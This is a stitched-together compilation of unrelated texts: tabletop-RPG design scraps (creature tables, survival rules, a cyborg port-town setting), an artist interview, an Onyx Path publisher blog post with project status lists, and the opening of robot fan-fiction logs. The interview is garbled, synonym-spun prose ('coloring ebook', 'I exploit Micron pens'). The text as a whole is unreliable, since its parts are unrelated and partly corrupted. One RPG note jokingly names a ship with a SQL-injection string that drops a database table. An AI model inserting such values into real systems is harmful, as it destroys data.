Design: blueprints for [0. devise, 1.building, 2.contraption, 3.tanning process, 4.cobbling technique, 5.recipe (unique -- trades like currency), 6.alloy 7.crop placement/rotation 8.popular toy/doll 9.glass staining]

saxe^T | Sun, huge but cold, fills sky. | Land a single belt around equator, | Grass grows inches per minute in full sun. | Ship-sized blue angus ("Brontos") chase grass; mow down racetrack planet. | Tanners tan skins for ship-hides (ship-sized leather jackets) | Bets placed on Bront first to cross geological finish line ("Arroyo Finito") | Emoji mark individual Bronts | Current Bront in lead: ! |

GM Hot Tip

If they say "I do it until I succeed"

and they have a 1 in x chance, then

roll a dx for: the number of attempts

#do-not-Take-10

Are you ready for some non-normie shit in your rpg, officer? "You can do whatever" reads like "Top 10 piss your rich ass finds loledgelord". Go on & belay dat; find shit we'd do instead. Chill in our adventure. Then feed me coin coz i ain't no machine, it winter, i homeless and we hanging out.

Asteroid rolling pin

Tool for creating signs or plating. Flattens 1km-diameter asteroid in as little as 10 years. Enquire about our engraver partners for friend credits.

Why use ratios (40 in 100) instead of percentages (40%) when describing checks:

https://youtu.be/HZGCoVF3YvM?t=713

Boomtech skill reminded me of Boom, a monopoly-redesign contest winner somewhere on BBG. Now i want to make a "boom/bust" system. Just 4 modes for 8 sectors. When a mode is active, 1 sector is in Boom and its opposite is in Bust. x2 prices & /2 prices, or something. Some jobs rewards modulate the mode for you. The price of magical worry stones is going up due to sightings of a haunted ship. (Paint your ship white and equip a scrambler -- scare off the mining crew)

Practice lasers. Used in ship combat training. When a target is it, it glows white in that area. Usually, the white glow is read by a Judge, which disables those modules on the exercise ship. Black Market vareties (Ravezers) are different. Their hacked syncronizors expel a red ooze that screams as it fades (the particles shear one another, causing a scream-like modulation) when hitting a target.

"meten is weten" which translates to "to measure is to know"

If you engage someone, give them a token.

'' don't engage anyone, give everyone each a token.

'' recieve a token, listen until "Done" or w/e is said.

This entry is inspired by the idea of a programming “loop”. Each iteration of the loop - the

tenure of each individual keeper - results in more content being generated. The rules

themselves are a set of instructions for creating the true content of the game, which consists

Aurora over poles reach up in lines. From the right angle and distance, looks like the world is burning with flames comes off of it.

You are the Space Pirate Board.

You see some shit. You see all the weird shit. You see only weird shit.

Play as mercinaries as you watch from their body cam's feed. (Side Effect: because the players aren't 'directly' role playing mercinaries, they will natually choose dangerous actions more often.

If your teams fail too often, you take Stress and Health damage. Health is your Influence. You can be assasinated.

tinkering with the algorithm: you test and patch an algorithm, causing more input, views, and content. Revenue +1 Society -3

Should get around to mentioning "you"

YouAreTheBoss

So you, like have a body, but it's usually in a distant location. Away from the weird you're in charge of managing. On a large scale. And you're play group is the board, is the boss people remotely controlling the characters.

Necklace (Tiny tank treds)

Before the Alexis

Watch the live feed of the crew and play as they using your Boss powers

You cannot learn anything new without listening. What is missing in the internet is better listening. Respectful listening. If you can create technical solutions for that, that would be great!

Well, there are some pretty creppy ways (coudrugsgh) (couadsgh) to get people to listen. And they're getting better by the day. I don't think "listening" is the problem. I think it's being so engrosed in the listening experience that changing the channel seems impossible.

Replace "wires" "battery" or whatever you want with "arms" "transluscent sacs"

Just called mom. Been a few months. She read a laundry list of body parts the family got replaced (or re-replaced) this summer.

Mindreading?

Biology(Intellect) if its more of a reading intent

Rimwise(Strength) if your enter their mind forcefully

Psychology(Speed) for a good guess

Computers(Speed) if its an interface/devise

silly names for specific skill calls https://drive.google.com/file/d/10406Saqof2Gmq7AHvt-g3L63f9F1mR7v/view?usp=drivesdk&sa=D

SPORCA 🂪 missing eye

SPORCA 🂡 octopus for a tongue

SPORCA 🂢 can be tamed w/fish (lasts 1 Phase; mountable)

SPORCA 🂣 all orca teeth are spider fangs

SPORCA 🂤 beautiful, haunting singing voice

SPORCA 🂥 arm spikes cover body

SPORCA 🂦 eyepatchs are quartz

SPORCA 🂧 collapsed dorsal fin

SPORCA 🂨 crawls on belly – can’t Lunge

SPORCA 🂩“honks”/silly

GIVE A SPORCA A BOW TIE MARK ON ITS ROSTRUM – LATER, SAY “BO’S BACK”, THEN ENTER COMBAT.

METAGETE 🃦 made of bone clacks; albino.

METAGETE 🃧 itchy, rubs on walls – loud

METAGETE 🃨 affinity for tearing off limbs

METAGETE 🃩 installs Ski Free onto Plugged androids

METAGETE 🃪 sounds like coin waterfall over steel

METAGETE 🃫 all wires stripped, very shiny

METAGETE 🃰 has a music player plugged into it

METAGETE 🃱 casing melted into anal bead-like spheroids

METAGETE 🃲 inches along like inchworm

METAGETE 🃳 pools into ball readying attacks

RATTLING ELECTRIC ARCS OF JANKY METAGETE ECHO IN EXOTIC PET SHOP ABANDONED DURING RIOTS.

FACTORAID 🃊 no arms – can’t scream

FACTORAID 🃁 forked tongue rests on chest

FACTORAID 🃂 incessently mutters through throathand

FACTORAID 🃃 one-winged

FACTORAID 🃄 torso invisible through to spine

FACTORAID 🃅 stares at hands every other round

FACTORAID 🃆 epoxy mohawk

FACTORAID 🃇 3 feet tall

FACTORAID 🃈 moves like ninja

FACTORAID 🃉 intestines encase wings

hunger

Any time the tens dice of your rest save result is higher than either: 8 or your food on-hand, consume 1 food.

HUNGRY: BODY SAVES CANNOT BE AT [+]

STARVING: SAVE RESULTS OVER 80 HAVE [-]

STARVED: WARDEN NOW PLAYS CHARACTER

The Excitement of Dogs:

Not a champion's death but a commoner's -- cold and windless.

Exciting rolls:

20%: Roll 2d10, sums of 10 succeed [ex: 19; 55; 64;...]

Syrax cola. Caffinated cola with sycorax espers

d10 stress relief (What's [your entry number] worth of relief look/feel like?)

. Normailizing

. Feeling Lucky

. Still Alive

. Bright Side

. Fistful of Life

. Beautiful You

. Found Meaning

. Absolution

. First Kiss

. Holiday

Stress Relief side effects

Relief is swift and swift relief is disorienting

To one stat

movement speed,

use item as free action

Ship named '); drop table BAYS;-- docked while players were out, resulting in critical failure of dock software; displays reverted to previous version: players ship parked under Manateagle instead of Crocodactyl.

character page 2

player's cheat sheet

1 FILL PER SKILL PER LEVEL [DENOTE `FILLED` W/ CHECK] ----------------------------------------------------- | [::SKILL:(+//-):POOLS::] [2]\ | | ,-->[5 checks in 1 skill.] +-{ }(SKILL2)----:2XP:| | Fill pool: 2XP; reset pool. | [2]/ | |"SUCCESS"->[4]\ | .POOLS---> [_]\ | |{ }(SKILL1)----:2XP:---------+-{ }(SKILL3)-✔ -:2XP:| |"FAILURE"->[3]/ .RESET---> [_]/ | ----------------------------------------------------- Keep track of each skill check using character sheet. [BUT WHY THO?] Proven to incentivise diversity and specialization within party encourage party discussion (who uses what skill) increase player intimacy w/ character

howto

carrosing / rumors / corporate affiliation

benefits / goals / salary {-ship fees}

paying ship debt

Session XP {check boxes}

XP class list

XP rewards list

level up proceedure / XP table

panic effect table w/ check boxes

if panic result is checked, move result up 1 panic effect

panic history ("dear diary")

i survived {panic}ing (1XP)

Place in correct locations at correct times: foods reading "Eat Me" and drinks reading "Drink Me". Do not get caught. Do not fail.

@ExampleWarden Explains: Using Daymares

Yeah, you're not seeing anything. Or, wait. Hold on. Roll Intellect? Success? Okay yeah, you begin to make out something. Just a simple node at first, but once that's made out, the rest of it filters in from the night growing a shape the way crystals grow and line by line like that. Roll Sanity. Yeahm it makes the face of your mother, she looks at you: there is no food, do not ask, you'll hurt your siblings, her look says. Take a Stress.

You can either take a stress or share your concerns with the others. Who take your stress as Stress(Concern).

Brains are replaced piece by piece in this port town. It was a simple plac researching Altzimers and discovering a microprossers able to stimulate neurons for remembering people and places.

A cult of individuals soon cropped up as rouge doctors believing they were helping people began replacing that part of the brain with this microprocesor for its simple healthy benefits and memory reliability. Soon, more and more brain areas were cut away and removed for one fault or another and replaced with reliable processing units. As the brain is cut away people begin overworking themselves or hyperventilating to get high or getting lost in DMT dimensions, spiining deeper and deeper into their thoghts and seeing less and less of the values in connection and productive work.

But that bothers no one. They think that won't happen to them, they won't get into that situation. But people begin working against one another to secure their future. They know its a risk, but if they can think of it, than others have already had this thought. It can't be long until they become a victim from such a thought. Soon, they are forming a group, linking their processors to ease the work needed to be done. It isn't long until the processors find out how to reward the many to help the influential, the most important.

This leads to massive improvements in the development of the brain replacing technology. More machine parts are fitted into the body. Lungs are drowned with a liquid metal forming tracers capable of pumping the lungs themselves. Injected Liqui-trace laminates the veins the contract them and expand them and pump the heart.

Eventually the entire brain is replaced with processors connected to Liqui-trace, leaving but a skelaton of thoughts connecting individuals together. Everyone has their own society over which they rule -- the biological society of their bodies. They wish for their body to be the one body, and all the other bodies to become like them, so that more of thier thoughts can be created and shared. More of the thoughts that make them happy. More of the thoughts that make them one.

Everone in the port town slowly begin to be one of two minds with Uniques scattered around or enslaved to produce thoughts to make one of the great minds stronger than the other. You arrive to do trade here, and are invited to free drinks, free supplies, free lives and free brain augmentations. For there are more of them, and they know how to slowly chip away at you, how to make you theirs, how to make you of one mind.

*Prisons of Uniques require freeing

*Underground Railroad requires a trade network all their own to earn untraceable credits

*Brains require retooling and careful (painful) separation from host mind to be free again

*Public works to build structures disestablishing the many from the two require planning and management

*Restaurants require one of a kind spices and unique ingredients to make each body's gut biome different.

*Theatres require actors to perform different plays for different people.

*The two minds can be found boxing together endlessly as reports come in. The match seems eternal.

*A trip to the local server hub provides information on the history of the Two Minds and ways to do things

All the books in the library -- an impossible amount -- are written by one of two people.

This place is not well known. That does not stop it from being the center of attention for a moment. A moment costing them both everything and nothing important.

It's an advertisement for a nice restaurant there. t shhows the plates, the decor, but then it does something distasteful. It shows a text card reading, "but best of all is -the man who has free run of the place."

A famous actor-comedian turns from their table to smile at the camera, showing "their god side" and their pearly teeth.

This is in response to a server rumour about the ghost haunting this restaurant its later development that it was the ghost of the actor.

The model offered a side view of the project, a view sliced by razor light with debris robot-erased perfected.

Ketchup packet flipped upsid down madeup the bed. Toitet paper rolls made up the anchor points. It was more of a message about recycling than it was an illustarion of ant installation

Life is about how far you go

Not about how far you get

12' tall paper mache traffic cone.

Answer to why, after so much horror, ppl still go to space: fresh pow.

https://youtu.be/Y9sPsR9vqzE?t=1629

Space smog and space water cycles may or may not result from this process

The two tethered objects were called "Ralph" and "Norton".

#todo #ttrpg #d100 #wip #overview #2020 #diary

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Adorable characters and creatures that dwell within the land between my ears. In different phrases, all my drawings are from my very own Imaginary World. What you’re seeing within the coloring books are the creatures I like, and they’re what I get pleasure from drawing essentially the most.

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I used to be artistic as a toddler and that began all of it! I had numerous crayons, paper, and playdoh and by the age of four, I declared myself an artist… in addition to a dancer and singer. By the time I used to be in my second 12 months of school, I made a decision I’d focus on visible artwork. I did artwork gross sales as a pupil, juried arts and craft exhibits after which galleries and museum reveals. Now, I’m delighted to be creating coloring books that enable collaborative artwork with colorists from around the globe.

It had not occurred to me to do a coloring ebook till my daughter recommended it in 2017, “Just do what you draw!” Then my expensive cousin, Meg, mentioned, “I’ll make it happen!” And that she definitely did!

Q3. Who or what has impressed you?

Literature is an inspiration! Everything from Harry Potter to Fannie Flagg’s great novels has influenced my work. Nature and music are all the time glorious sources of inspiration. Artists which have impressed me embrace illustrators Hillary Knight and Maurice Spendak, Garth Williams, who did the Giant Golden Book of Elves and Fairies that my aunt gave me after I was six years previous.

This fall. What supplies do you get pleasure from utilizing?

When I draw I exploit Micron or Stadler drawing pens. I additionally love watercolor and coloration pencils for works on paper. All my paintings is authentic. I draw freehand, and nothing is computer-generated, enhanced or projected. I work in sculpture, work, and drawings. I sculpt utilizing porcelain and stoneware clay which I “cold finish” with acrylic paint and generally embellish with discovered objects (marbles, beads, buttons…). The work are acrylic on canvas.

Q5. Do you want to paint in your designs or choose to have others do this?

Prior to growing coloring books, I solely coloured my very own drawings. Now that I’ve developed eight print books and three digital books, I’m so busy drawing that I don’t have as a lot time to paint. I actually LOVE seeing how others interpret the drawings and the unimaginable expertise when coloring them. I’m all the time delighted and stunned by the wonderful work of the numerous colorists that share their footage.

Q6. What provides (manufacturers) do you suggest on your ebook(s)?

As far as a model, I like to recommend Prismacolor pencils. I exploit totally different manufacturers of watercolor paint, however I solely use it sparingly. I’ve seen on social media works that use alcohol markers and different varied mediums, and I believe they give the impression of being lovely!

Q7. What is your favourite coloring ebook apart from your individual?

Kerby Rosanes particularly Mythomorphia. I like the element and creativity of the drawings particularly the dragons.

Q8. What is your favourite factor to do if you find yourself not doing all of your artwork?

When I’m not creating artwork, I get pleasure from writing on my novels, studying, being outdoor, going to motion pictures and, in fact, artistic playtime with my husband and my granddaughters!

Q9. Who is your favourite coloring ebook artist?

Kerby Rosanes is my favourite coloring ebook artist. I’m fascinated by his work and the juxtaposition of the imaginary creatures, with castles and buildings popping out of them. As an artist, I admire that they don’t seem to be laptop generated and are authentic works.

Q10. Can you inform us about every other initiatives you’re engaged on?

My present venture is an angel themed coloring ebook. Over the previous 2 years have been doing a collection of work of “Our Better Angels”. I’m additionally trying ahead to illustrating and writing a youngsters’s ebook with my husband. On high of all of that, I’m engaged on the third quantity in my trilogy of “The Peavine Chronicles“.

Bonus Q – Anything else I needs to be asking you or different artists that may be fascinating on your followers or future followers?

Perhaps ask them the significance and/or affect on different mediums artists work with. For me, I’m working in writing, portray, drawing and sculpture and this leads to extra choices so far as inventive expression. Each space evokes artworks in a special medium.

One little recognized truth about me is I’m fascinated by theoretical physics. It’s a fantastic train for the creativeness.

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Here’s our Onyx Path gang, minus yours truly as I took the pic, at Mader’s, the enduring German cuisine restaurant in Milwaukee, where we had our Onyx Path Summit dinner after seven hours of Summitting. So if our heroes look a bit beat, well, seven hours of meeting after most of us flew in that morning, and then some imported beer, will start to tell.

Beat, but happy.

Matthew sits in Mader’s Big Giant Chair for the first time!

Even though, right now, we’re all a bit beat and cranky and some of us are sick since we went from the Summit to the con to flying home. Our Monday Meeting was a bit disjointed accordingly, so I’m just going to give ya’ll a run through of the highlights of the Summit and the MidWinter Convention that followed.

Wednesday was the Onyx Path Summit, and we started off with a person by person review of last year. Where did they see Onyx Path? Sometimes that was TTRPG industry-oriented, sometimes creatively, sometimes where we are in the eyes of our fan community.

My piece of that was to let our folks know, as best as we can tell before all the numbers are crunched for taxes in April, where the company stands financially. In general, I can share here that we are doing well, much better than last year, and we remain in the black every year since we started.

Which means we made a “profit” although our accountants might phrase it differently. Each year we decide where to use that profit, and we’re really careful because we’re not talking millions here. The year we had the booth backdrop and signs made, those were the expenses our profits covered.

This year, we’re going to put it towards staff raises, crew bonuses, and raising our freelancer pay scales again.

Eddy Webb prepares to surprise his TC: Aberrant demo players with a startling plot development.

Then, we were run through a team analysis exercise that Matthew pulled from his past experience as a corporate trainer. Like many of these sorts of things, we wound up divided into some amount of four types of employees.

Matthew’s title for this was “Know Your Role!”, obligatory wrestling reference, and it was a useful way to take a look at how we relate to each other and a nice break from the nitty-gritty of running Onyx.

But back we went anyway, and the rest of our day was determining where we are aiming in 2019. Internally, we intend to continue the refining of our processes, with the extra challenge of adapting to getting more books into retail stores via our friends at Studio2 and IPR.

Many of our projects that have been running very late took gigantic leaps forward in 2018, while we delivered early, sometimes months early, on our newer Kickstarter projects. We want and expect that to continue through 2019.

Elements of the Trinity Continuum: Aberrant playtest.

Externally, we are aiming towards Visibility. Again, something we already started with the Onyx Pathcast, getting projects into stores and other venues, and supporting the many Actual Play and other online media projects highlighting our stuff in 2018.

For 2019, we are looking for more ways to spread the word about our game lines, our worlds, and certainly we have started with a bang with Matthew’s addition of The Gentleman Gamer to our social media. Expect to see much more as the year progresses.

Much in the way of both strategies and tactics were discussed, and many excellent ideas have been logged for use this year. But the amazing and gratifying thing was how while our ideas were really all over the place, their intent was consistently on the same target.

From a group with such a wide range of experience, this was a joy to hear.

Dixie about to make a point during the Onyx Q&A

Thursday, Dixie, Eddy, Matthew, and I, recorded the Onyx Pathcast for the next day. “Live” from MidWinter, as it were. You can find it here, on PodBean as always, or at your favorite podcast venue: https://onyxpathcast.podbean.com/e/episode-34-liveish-from-midwinter/

We wanted to chat about the con, of course, but also to use the venue to announce the projects we were going to announce at the Onyx Path Q&A Thursday afternoon. We wanted our community to know what we announced there, but a day later so that the info went out but the folks who took the time to sign up for the Q&A heard it first.

First, we have a project we have added a lot of blood to in our various notes to each other: V5 (blood) Cults of (blood for) the Blood Gods (of blood)! V5 Cults of the Blood Gods.Yes, we follow up V5 Chicago By Night with a book detailing the Hecate including Clan Giovanni, the various religions that have sprung out of vampire culture like the Church of Caine, and much more!

Next, although some people may have already been aware, we still wanted to include announcing that Scion: Demigod is currently being written, as a lot of people assumed that it was coming and we want to be sure everybody knows it’s on the project progress list now.

Scion: Demigod will not only provide more Pantheons and the expected continuing advancement of characters through the Demigod range of abilities, but it will also provide new rules that enhance and focus on the changes that are occurring to a character as a Demigod.

Since Scion: Demigod continues what we could call the core Scion game experience, we also announced two projects that expand on just what Scion can be.

I’ve been talking about Scion’s potential in these blogs and elsewhere pretty much from the point that we announced we were doing a new edition, and what I’ve been describing as a solid core Scion game experience are the four core Scion books, Origin through God, and the supplements directly linked to them.

Then, there’s the projects that add and expand the options and the range of what it is to play Scion. These are projects that investigate different ways to engage with the game.

Mighty Matt McElroy ponders a deep Q&A question deeply.

First, there’s what we’re currently calling Scion: Dragon, which adds another “faction” to the ongoing struggle between the Titans and the Gods. They represent the seemingly ever-present myths in so many cultures of serpents and snake people, wyrms and dragons, and the idea that all of these creatures and possibly even those who are counted in various Pantheons, have their own secret agendas.

Scion: Dragon is being developed by the talented and dangerous Danielle Lauzon.

Bear in mind with both of these new Scion books that we have not even started the actual writing of the text for them yet, so anything I share here is pretty darn general and may be tweaked completely before that writing is finished.

Mike Hollywood gets the good dogs and excellent cats playing Pugmire together!

Second, we have what we’re currently calling Scion: Masks of the Mythos, which takes the Eldritch beings of the Cthulhu Mythos and tackles how to deal with them, and the baggage they bring, as a Scion game.

Harlem Unbound creator Chris Spivey is our developer for Scion: Masks of the Mythos, and we’re really looking forward to his take on such aspects as Mythos Cults and Lovecraft Country

We’ll certainly be talking more about all of these projects as things continue to develop with them!

Thursday was also the day MidWinter was running an industry professionals track and Eddy had his Developers’ Bootcamp to run, while the rest of us sat in on games, set up the booth, or had sit-downs with folk. I hear it went well, and that led to our Onyx Path Q&A later that afternoon.

Eddy’s Developer Bootcamp project flowchart

For years, we did this as a standard panel in a room full of chairs sort of thing, but lately we’ve adopted a smaller venue fitting maybe a dozen to twenty people and we have snacks and drinks in a wood paneled conference room.

Which we find lends itself to more open discussion and actual conversations. This year was no different, although we still have some rough edges to smooth down with such things as who talks when, the folks there certainly got a taste of the creative jabbering we can do when we’re all together.

A LOT of questions were answered, I hope satisfactorily, and calling it a live-action AMA would not be too far off-base.

Our Onyx Path Q&A session in the dramatic Founder’s Room.

This pretty much takes us into the full con experience days, where we had a ton of gaming sessions thanks to the Wrecking Crew led by Scott Vigil, plus individual game demos run by our creators – from Pugmire and Mau, to They Came From Beneath the Sea!, V5 Chicago By Night, and a very special playtest demo for Trinity Continuum: Aberrant.

There was also the premiere of a playtest of a Scion LARP written and created by Dystopia Rising creator Michael Pucci that gave us lots of ideas for how to bring that Scion thing to live-action.

And so, as we Onyx Path folk left Milwaukee in stages through the weekend, we bid a fond farewell to another successful MidWinter convention, and a fantastic and energizing Onyx Path Summit. Seems like we all left ready to work on:

Many Worlds, One Path!

BLURBS!

KICKSTARTER:

They Came From Beneath the Sea! (TCFBtS!) has a little more than a week to go and we’ve passed through the first couple of Stretch Goals including getting Larry Blamire to illustrate a horizontal scene usable on a screen, two entries for a book of additional soggy Threats, a T-Shirt, two added Adventure Scenarios, and we are rising up on the next goal!

TCFBtS! has some very different additions to the Storypath mechanics we’ll be explaining during the KS that take an excellent 50’s action and investigation genre game and turn it to 11! You can see the actual play here:

Check out the teaser:https://youtu.be/kxLydk4t76s

Hope to see you there back in the 50’s, fighting watery menaces and cracking wise!

ONYX PATH MEDIA

Illustration by Michael Gaydos

This Friday’s Onyx Pathcast is a breakdown of our terrific triad’s experiences during the Mid Winter Convention. The panels, the demo games, etc.!

http://bit.ly/2QLulAJ

And Here’s More Media About Our Worlds:

On our channel Matthew Dawkins is recapping his campaign of Scion that he’s named “Tokyo Noir”. It sounds like a lot of grisly fun and mixes the children of Bishamon, Kissh?ten, and Loki in a murder mystery. Matthew is involving viewers in deciding the direction of the game, so get in early with your suggestions! https://youtu.be/cKpHy3W4Z-E

YouTuber Stuart Armstrong has put together an interesting video on crossing over They Came from Beneath the Sea! with the World of Darkness! Check it out and give his channel a subscription: https://youtu.be/2wBFny9mSng

One of our forumites, Cinder, has started a written recap of their campaign of They Came from Beneath the Sea! It’s in its early stages right now, but you can subscribe to the thread for updates: http://forum.theonyxpath.com/forum/main-category/cavaliers-of-mars-and-pugmire/1278691-explorers-of-the-fathoms-tcfbts-actual-play

The Story Told RPG Podcast interviewed Matthew Dawkins regarding They Came from Beneath the Sea! and his fun, informative interview can be found here for all interested listeners: http://thestorytold.libsyn.com/bonus-episode-4-they-came-from-beneath-the-sea-with-matthew-dawkins

The Twin Cities by Night Crew have a Scion 2nd Edition three part series that will be released this week.

The murder of a Scion of Ra halts the progress of the sun across the sky. In response a group of strangers are unknowingly brought together by their divine heritage to investigate the crime.

ELECTRONIC GAMING:

As we find ways to enable our community to more easily play our games, the Onyx Dice Rolling App is now live! Our dev team has been doing updates since we launched based on the excellent use-case comments by our community, and this thing is both rolling and rocking!

ON AMAZON AND BARNES & NOBLE:

You can now read our fiction from the comfort and convenience of your Kindle (from Amazon) and Nook (from Barnes & Noble).

If you enjoy these or any other of our books, please help us by writing reviews on the site of the sales venue you bought it from. Reviews really, really help us with getting folks interested in our amazing fiction!

Our selection includes these fiction books:

OUR SALES PARTNERS:

We’re working with Studio2 to get Pugmire out into stores, as well as to individuals through their online store. You can pick up the traditionally printed main book, the Screen, and the official Pugmire dice through our friends there! http://bit.ly/2w0aaEW

And we’ve added Prince’s Gambit to our Studio2 catalog: https://studio2publishing.com/products/prince-s-gambit-card-game

Looking for our Deluxe or Prestige Edition books? Try this link! http://www.indiepressrevolution.com/xcart/Onyx-Path-Publishing/

Here’s the link to the press release we put out about how Onyx Path is now selling through Indie Press Revolution: http://theonyxpath.com/press-release-onyx-path-limited-editions-now-available-through-indie-press-revolution/

And you can now order Pugmire: the book, the screen, and the dice! http://www.indiepressrevolution.com/xcart/manufacturers.php?manufacturerid=296

DRIVETHRURPG.COM:

This week, we’re offering PDF and PoD versions of the Changeling: The Lost 2nd Edition on DTRPG and the traditionally printed version will be opened up for ordering via stores!

CONVENTIONS

New convention notices coming soon!

And now, the new project status updates!

DEVELOPMENT STATUS FROM FAST EDDY WEBB (projects in bold have changed status since last week):

First Draft (The first phase of a project that is about the work being done by writers, not dev prep)

M20 The Technocracy Reloaded (Mage: the Ascension 20th Anniversary Edition)

M20 Victorian Mage (Mage: the Ascension 20th Anniversary Edition)

City of the Towered Tombs (Cavaliers of Mars)

Mummy: The Curse 2nd Edition core rulebook (Mummy: The Curse 2nd Edition)

Geist2e Fiction Anthology (Geist: The Sin-Eaters 2nd Edition)

Pirates of Pugmire (Realms of Pugmire)

Distant Worlds (Trinity Continuum: Aeon)

Dragon-Blooded Novella #1 (Exalted 3rd Edition)

Across the Eight Directions (Exalted 3rd Edition)

Exalted Essay Collection (Exalted)

Legendlore core book (Legendlore)

Creatures of the World Bestiary (Scion 2nd Edition)

Chicago Folio/Dossier (Vampire: The Masquerade 5th Edition)

Let The Streets Run Red (Vampire: The Masquerade 5th Edition)

Kith and Kin (Changeling: The Lost 2e)

Scion: Demigod (Scion 2nd Edition)

TC: Aeon Ready Made Characters (Trinity Continuum: Aeon)

Redlines

Scion Companion: Mysteries of the World (Scion 2nd Edition)

Memento Mori: the GtSE 2e Companion (Geist: The Sin-Eaters 2nd Edition)

C20 Novel: Cup of Dreams (Changeling: the Dreaming 20th Anniversary Edition)

Second Draft

Tales of Good Dogs – Pugmire Fiction Anthology (Pugmire)

Heirs to the Shogunate (Exalted 3rd Edition)

Scion Ready Made Characters (Scion 2nd Edition)

Witch-Queen of the Shadowed Citadel (Cavaliers of Mars)

Deviant: The Renegades (Deviant: The Renegades)

Development

Hunter: the Vigil 2e core (Hunter: the Vigil 2nd Edition)

CofD Contagion Chronicle (Chronicles of Darkness)

Lunars: Fangs at the Gate (Exalted 3rd Edition)

WoD Ghost Hunters (World of Darkness)

Oak, Ash, and Thorn: Changeling: The Lost 2nd Companion (Changeling: The Lost 2nd)

CofD Dark Eras 2 (Chronicles of Darkness)

Night Horrors: Nameless and Accursed (Mage: the Awakening Second Edition)

Manuscript Approval:

Wr20 Book of Oblivion (Wraith: The Oblivion 20th Anniversary Edition)

Trinity Continuum: Aberrant core (Trinity Continuum: Aberrant)

Scion Jumpstart (Scion 2nd Edition)

Editing:

Aeon Aexpansion (Trinity Continuum: Aeon)

Dystopia Rising: Evolution (Dystopia Rising: Evolution)

M20 Book of the Fallen (Mage: the Ascension 20th Anniversary Edition)

In Media Res (Trinity Continuum: Core)

Tales of Excellent Cats (Monarchies of Mau)

V5 Chicago By Night (Vampire: The Masquerade)

V5 Chicago By Night Screen (Vampire: The Masquerade)

Spilled Blood (Vampire: The Requiem 2nd Edition)

Post-Editing Development:

C20 Players’ Guide (Changeling: the Dreaming 20th Anniversary Edition)

Signs of Sorcery (Mage: the Awakening Second Edition)

Night Horrors: Shunned by the Moon (Werewolf: The Forsaken 2nd Edition)

Adventures for Curious Cats (Monarchies of Mau)

Indexing:

Scion Origin (Scion Second Edition)

Scion Hero (Scion Second Edition)

ART DIRECTION FROM MIRTHFUL MIKE:

In Art Direction

Dystopia Rising: Evolution – Bunch of art out for approvals – some corrections being made.

The Realm – Contracted.

Ex3 Monthly Stuff –

Chicago By Night – Rolling on contracting next bits.

C20 Player’s Guide – Getting more art coming in and going to WW for approval.

Aeon Aexpansion – Going over the notes.

They Came From Beneath the Sea! – KS rolling.

EX3 Lunars – Updated KS finals are in.

Signs of Sorcery – One more piece and then over to layout.

In Media Res – Contracted.

Hunter: The Vigil 2 – KS art in progress.

Shunned By the Moon – Got the notes, contacting artists.

Book of Oblivion – Contracting.

Marketing Stuff

In Layout

Geist 2e

Proofing

Scion Hero – Indexing.

Scion Origin – Indexing.

M20: Gods and Monsters

Pugmire Roll of Good Dogs and Cats

Trinity Core – Errata closed.

Trinity Aeon – Errata closed.

Ex3 Dragon Blooded – inputting errata.

CtL2e Condition Cards – Sending to WW for approval.

Ex Novel 2 (Aaron Rosenberg)

At Press

Wraith 20th – Preparing to ship to fulfillment shipper.

Wraith 20 Screen – Preparing to ship to fulfillment shipper.

Scion Dice – At Studio2.

Scion Screen – At Studio2.

Changeling: The Lost 2e – PDF and PoD versions on sale at DTRPG, physical books able to be ordered in stores, on Wednesday.

CtL2 Jumpstart – PoD proof ordered.

Fetch Quest – Manufacturing finishing.

TODAY’S REASON TO CELEBRATE:

Post Onyx Path Summit: Forward Into 2019!

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You seem to have stumbled upon a collection of cached files. How odd...

Readers may yet decode their own series of messages or day-to-day proceedings if they see fit~ I’d be curious to read any if anyone sees fit to do so. q: But we’re going to move along with this a bit, shall we?

Data Log: Day 3 (Blackout’s Personal Files)

We’ve yet to have any leads on the whereabouts of the Rising Star, or the Revenge II. Infiltrator and Nighthawk gave a few suggestions on where to start our lead when revealing their star charts were far more updated than those we’ve obtained and have on record. We’ll be heading to the nearest hub in hopes of speaking with the resident bots in hopes of information.

Data Log: Day 5 (Novastrike’s Personal Files) ERROR – Data omitted

[MISSING DATA: ERROR]... I pray that Guard is keeping watch over us. We could use all the help we can get.

Data Log: Day 6 (Blackout’s Personal Files)

Much of the Cybertronians residing on Moriturus appear to be suffering from injuries residing from a nearby world they call Centaris Seven. After Nighthawk took some personal samples for reference from the bots, they revealed that the planet contains a highly corrosive secretion upon its surface that eats through a mechs armor and protoform. We will be staying a for more days in hopes of coming across any strangers passing through to refuel at the small station, upon Nighthawk’s insistence to help the wounded as much as he could.

Data Log: Day 10 (Infiltrator’s Personal Files)

Screenings of the bots mentioned prior seem to indeed, replicate as we suspected an unknown parasitic organism in the slime that had coated the bots. Nighthawk has deduced that they are of no threat to us, and we no longer need to use precautionary hazard suits. The organisms do not appear to survive outside of their homeworld. Washing bots whose undercarriage still had residue from the ooze revealed substantial evidence. A thorough cleaning was recommended. Below is noted the chemical compounds and information taken from the cells for record to add to Cybertronian archives.

Data Log: Day 15 (Nighthawk’s Personal Files) ERROR – Data omitted

Its been roughly two full cycles now since we’ve disbanded from Decepticon Lieutenant and Weapons Expert Blackout and Novastrike. [MISSING DATA: ERROR] Infiltrator and I have found no further evidence of the Rising Star’s whereabouts. We’ll be stopping on planet Xetaxxis in about 63 joors. Former information on the planet reveals it’s inhabited by a race of sentient robotic organisms just as Cybertron was. Will induct a study on occupants, if allowed. [MISSING DATA: ERROR] Reviewing this data file later, I realized I had made the error in referring to that arrogant mech as an Officer of the Decepticons. Revoke that statement; data is old and irrelevant now. Rogue Blackout, former Commanding Officer of the Rising Star.

Data Log: Day 18 (Infiltrator’s Personal Files)

Documentation attached below on evidence of possible relation between Xetaxxis species and that of Cybertron. They appear more primitive in function than that of Cybertron, but their CNA suggests a pattern related to that of Cybertronians. Further studies will need to be conducted to be assured of this. If we’re lucky, we’ll get to return one day. Residents appeared friendly, but bitter and hesitant to meet strangers because of their feuding battle with neighboring robotic species on different homeworld. Is it simply in our species’ nature to clash? Requires further analysis.

Data Log: Day 24 (Novastrike’s Personal Files)

There were some rather mysterious looking plants to look at today! Blackout had us stop by each one to scan for Cybertronian lifeforms, but we found no evidence. I took some photos to share with Nighthawk and Infiltrator, specifically the fauna, flora, and creatures we saw on some of the cluster of heavenly bodies. I really enjoyed the large gaseous planet the most; it was mysterious and flying through it scrambled some of Blackout’s instruments, much to his annoyance. We re-calibrated outside of the planet before taking off again. There was no way any Cybertronians would be surviving there with the electromagnetic field it generates. We’ll continue our search.

Data Log: Day 31 (Blackout’s Personal Files)

